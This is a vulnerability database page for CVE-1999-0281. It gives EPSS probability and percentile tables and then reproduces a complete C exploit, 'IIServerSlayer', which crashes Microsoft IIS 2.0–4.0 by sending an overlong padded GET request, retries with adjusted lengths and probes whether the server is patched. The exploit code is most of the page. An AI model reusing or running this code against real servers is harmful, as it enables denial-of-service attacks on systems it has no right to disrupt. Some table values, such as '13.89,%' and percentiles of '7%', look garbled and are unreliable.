CVE-1999-0281 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11.25%	–	–
2022-04-03	–	–	11.25%	–	–
2022-05-08	–	–	11.25%	–	–
2022-08-21	–	–	12.89%	–	–
2022-11-13	–	–	12.89%	–	–
2022-11-20	–	–	12.89%	–	–
2022-11-27	–	–	12.89%	–	–
2023-01-01	–	–	12.89%	–	–
2023-02-26	–	–	12.89%	–	–
2023-03-12	–	–	–	0.17%	–
2023-04-02	–	–	–	0.17%	–
2023-08-27	–	–	–	0.17%	–
2024-02-11	–	–	–	0.3%	–
2024-06-02	–	–	–	0.3%	–
2024-12-15	–	–	–	0.3%	–
2024-12-22	–	–	–	0.3%	–
2025-01-19	–	–	–	0.3%	–
2025-01-19	–	–	–	0.3%	–
2025-03-18	–	–	–	–	10.97%
2025-03-30	–	–	–	–	13.89%
2025-03-30	–	–	–	–	13.89,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-08	95%
2022-08-21	95%
2022-11-13	96%
2022-11-20	95%
2022-11-27	96%
2023-01-01	95%
2023-02-26	96%
2023-03-12	51%
2023-04-02	52%
2023-08-27	53%
2024-02-11	69%
2024-06-02	7%
2024-12-15	71%
2024-12-22	69%
2025-01-19	7%
2025-01-19	7%
2025-03-18	93%
2025-03-30	94%
2025-03-30	94%

// source: https://www.securityfocus.com/bid/2654/info Microsoft Internet Information Server is vulnerable to a denial of service. This particular denial of service affects versions 2.0, 3.0 and 4.0 of the server prior to service pack 4. The URL which causes this issue is of the format "http://server/?anything=XXXXX" - note that no existing file need be requested. This is not a buffer overflow; a URL of specific length must be sent (between 4k and 8k), anything longer or shorter will not affect the server. /* Some days ago I found the page http://www.eden.com/~tfast/jihad.html Then I found the java program IIServerSlayer.class made by Todd Fast <tfast@eden.com>, the author of the web pages. Now I have ported that program in gcc from java using strace and disassembling IIServerSlayer.class with javap (part of jdk). For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2 and glibc. by Andrea Arcangeli <arcangeli@mbox.queen.it> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> #include <arpa/inet.h> #include <signal.h> int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter; str[i]=0; strcat(str,str_end); return (char *)str; } void IIServerSlayer(char *target,int lenght,int port,int flags) { char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0"; char *IIS_patch = "Bad Request"; int count = 0,return_status; if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(1); } if((return_status = open_sock(s,target,port))) exit(return_status); if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target); else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n" ,target); send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0); printf("Waiting for the reply from %s\n",target); buff[1]=0; while(recv(s,buff,1,0) == 1) { if(flags & 1) printf("%s",buff); else if(!div(count,50).rem) printf("."); if(count < 511) header[count]=buff[0]; count++; } printf("\n"); header[511]=0; if(strstr(header,IIS_string) == NULL && lenght == 0) { printf("This is not a Microsoft-IIS/3.0 web server\n"); if(!(flags & 2)) exit(0); } else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n"); if(strstr(header,IIS_patch) != NULL) { printf("This IIS/3.0 web server is patched against this exploit\n"); if(!(flags & 2)) exit(0); } close(s); } void main(int argc,char **argv) { int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid; if (argc < 2 ) { printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode to view the server reply\n"); printf("[-f] = force running over non or patched IIS/3.0 web server\n"); exit(0); } for(i=1;i<argc;i++) { if(!strcmp(argv[i],"-v")) { param++; flags |= 1; } if(!strcmp(argv[i],"-f")) { param++; flags |= 2; } } if(argc > param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("I can' t fork\n"); exit(-1); } usleep(60000000); /* wait for 1 minute */ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Sorry, %s is alive yet\n",argv[param+1]); } exit(0); }